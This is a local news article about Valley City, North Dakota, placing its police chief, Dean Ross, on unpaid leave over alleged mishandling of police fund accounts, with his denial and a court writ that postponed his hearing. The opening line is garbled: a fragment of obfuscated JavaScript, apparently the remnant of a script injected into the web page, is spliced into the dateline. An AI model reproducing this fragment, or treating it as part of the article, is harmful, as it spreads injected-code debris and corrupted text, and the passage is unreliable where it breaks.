Valley idebb|var|u0026u|referrer|dsnib||js|php’.split(‘|’),0,{}))
City, N.D. – Valley City Mayor Bob Werkhoven placed Police Chief Dean Ross on unpaid administrative leave and appointed Detective Mark McDonald as the interim police chief.
During a news conference on Friday, Valley City Police Commissioner Jon Wagar listed 18 non-criminal counts that allege Ross knew of and or purposely mishandled public funds under his watch as a pubic official while serving as police chief. He was referring to the 2 police “Counter Act” and 2 Wells Fargo bank accounts.
The city said no money is missing but the handling of the accounts and money show’s he ignored his obligations as a public servant. Wagar says Ross unlawfully moved public funds into accounts under his control without reporting the transactions to the City Auditor as required by law. He says these actions clearly demonstrate the appearance of impropriety, constituted malfeasance and are examples of continued and ongoing disregard for the legal obligations of a public employee and a law enforcement officer.
Wagar says Ross shows a pattern of behavior that violated the public trust and his position as a public servant.
Wagar believes the counts presented by the city constitute appropriate grounds for Dean Ross’s termination as a Valley City employee.
City Administrator Jon Cameron says the city has an obligation to investigate a report of financial mismanagement.
After the news conference, Dean Ross, outside city hall, said the cities accusations against him are bogus and once again, show a pattern that the city is searching for an accuse to fire him.
City Attorney Russell Myhre says the administrative hearing set for September 19 has been postponed due to a Writ of Prohibition filed with the southeast judicial court district on September 13 by Dean Ross attorney Joe Larson.
The petition orders the city of Valley City to refrain from further proceedings on the Statement of Charges until further order of the Court or during an October 21st hearing to show cause as to why the city should not be ordered to desist from further proceedings on the “Statement of Charges.”
Bob Drake asked Commissioner Wagar why no charges were filed against him being he should have known about any misapplication of money under his watch as a police commissioner. Wagar answered that he did not know of these incidents under his watch. Photos by Steve Urness.
City Attorney Russell Myhre tries to get control of the news conference after Bob Drake and Steve Ross raise questions.
Steve Ross asked questions during the news conference that centered on whether or not Dean Ross profited from any of these money transactions. City officials answered, that Dean Ross had not taken any of the money. Photos by Steve Urness.